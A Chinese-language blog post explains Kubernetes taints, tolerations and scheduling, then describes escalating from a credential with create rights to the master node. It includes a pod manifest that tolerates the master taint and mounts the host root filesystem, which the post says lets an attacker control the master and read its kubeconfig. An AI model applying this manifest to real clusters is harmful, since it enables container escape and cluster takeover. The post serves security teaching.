K8s污点容忍调度逃逸

污点与容忍

简单说:
污点:被打上污点Taints的节点,不会被调度器部署pod应用。
容忍:允许调度器部署pod应用到打上污点Taints的节点。

污点(Taints)

污点里的值有三种:
1. NoSchedule:POD 不会被调度到标记为 taints 节点。(不会被调度)
2. PreferNoSchedule:NoSchedule 的软策略版本。(尽量不被调度)
3. NoExecute:该选项意味着一旦 Taint 生效,如该节点内正在运行的 POD 没有对应 Tolerate 设置,会直接被逐出。 (是不会调度并且还会驱逐node已有的pod
查看污点情况:
kubectl describe node nodename

为什么用污点

因为k8s集群每一个请求都需要走master节点kube-apiserver,因此master节点非常重要,所以pod应用一般不部署master节点。那么给master节点打上污点Taints,这样调度的时候就不会部署到带有污点的机器了 为什么用容忍? 比如被打上污点Taints的master节点需要部署某个pod应用,那么就需要容忍声明,这样就可以调度到带有污点的机器了

污点容忍度(tolerations)

容忍度tolerations是定义在 Pod对象上的键值型属性数据,用于配置其可容忍的节点污点,而且调度器仅能将Pod对象调度至其能够容忍该节点污点的节点之上。

污点定义在节点的node Spec中,而容忍度则定义在PodpodSpec中,它们都是键值型数据。

Pod对象上定义容忍度时,它支持两种操作符:一种是等值比较Equal,表示容忍度与污点必须在keyvalueeffect三者之上完全匹配;另一种是存在性判断Exists,表示二者的keyeffect必须完全匹配,而容忍度中的value字段要使用空值。

  • 如果operatorExists(此时容忍度不能指定 value)
  • 如果operatorEqual,则它们的value应该相等

而污点容忍的作用举个例子,如果像上面污点一样设置了NoSchedule污点的节点,那么创建pod的时候是必不被调度到的,但是如果我使用污点容忍,那这个节点可以在设置NoSchedule污点的情况下可能又被调度,类似于亲和性那种作用。

K8s 调度器

kube-schedulerKubernetes 集群的默认调度器,并且是集群控制面(master)的一部分。对每一个新创建的Pod或者是未被调度的Pod,kube-scheduler会选择一个最优的Node去运行这个Pod
然而,Pod内的每一个容器对资源都有不同的需求,而且Pod本身也有不同的资源需求。因此,Pod在被调度到Node上之前,根据这些特定的资源调度需求,需要对集群中的Node进行一次过滤。

调度器作用

当创建pod时候,会首先把创建的命令请求提交给apiserver,通过一系列认证授权,apiserver把pod数据存储到etcd,创建deployment资源并初始化。然后再是scheduler通过进行list-watch机制进行监测,经过调度算法把pod调度到某个node节点上,最后信息更新到etcd,再后面就是kubelet接受信息到创建容器。

影响调度因素

  • pod资源限制
    当前调度器选择适当的节点时,调度程序会检查每个节点是否有足够的资源满足 Pod 调度,比如查看CPU和内存限制是否满足:

  • 节点选择器nodeSelector
    在创建pod的时候,节点选择器可以约束pod在特定节点上运行。
    nodeSelector 也是节点选择约束的最简单推荐形式,nodeSelector 字段添加到 Pod 的规约中设置希望目标节点所具有的节点标签。 K8s 只会将 Pod 调度到拥有你所指定的每个标签的节点上。

  • 节点亲和性nodeAffinity
    节点亲和性概念上类似于 nodeSelector, 它使可以根据节点上的标签来约束 Pod 可以调度到哪些节点上,这种方法比上面的nodeSelector更加灵活,它可以进行一些简单的逻辑组合了,不只是简单的相等匹配

污点横向Master

攻击思路:

拿到一个具有`Create`权限的凭据,一般通过创建特权容器逃逸到Node节点,但是默认创建Pods是不允许调度到Master节点的,所以想拿到Master节点可以使用污点容忍度,创建调度到Master节点的pod,然后逃逸到Master

Master节点的污点情况

通过查询详细信息发现默认K8s Master节点是被标记污点 :Taints: node-role.kubernetes.io/master:NoSchedule 表示默认情况下master节点将不会调度运行Pod,即不运行工作负载


创建一个具有node-role.kubernetes.io/master:NoSchedule容忍度的Pod,然后被master节点调度


```yml
apiVersion: v1
kind: Pod
metadata:
  name: masterpwn1
  namespace: cloud-prod
spec:
  tolerations:
  - key: "node-role.kubernetes.io/master"
    operator: "Exists"
    effect: "NoSchedule"
  volumes:
  - name: pwnmaster-voa
    hostPath:
      path: /
  containers:
  - name: nginx
    image: nginx
    imagePullPolicy: IfNotPresent
    volumeMounts:
    - name: pwnmaster-voa
      mountPath: /mnt
    ports: 
    - containerPort: 8080
  serviceAccountName: cloud-account

通过多次调用创建容器,可以发现已经可以在master创建pods

由于这个容器挂载了宿主机的根目录,也就是挂载了Master节点的根目录所以就可以任意操作宿主机

读取Kubeconfig配置文件

posted @ 2025-04-01 11:44  0xd3ac  阅读(100)  评论(0)    收藏  举报